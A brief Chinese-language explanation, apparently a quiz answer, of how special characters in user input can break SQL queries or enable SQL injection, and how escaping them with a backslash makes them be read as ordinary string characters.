允許使用者輸入包含諸如 ' " $ \ 之類的特殊字元可能會導致 SQL 查詢中斷,或者更糟糕的是 攻擊者可通過輸入這些字元以進行SQL注入攻擊;轉義使用者輸入的方法是在這些特殊字元前面加上反斜槓 (\) 字元,然後就能將這些字元作為常規字串處理而不是作為特殊字元進行解析。

答題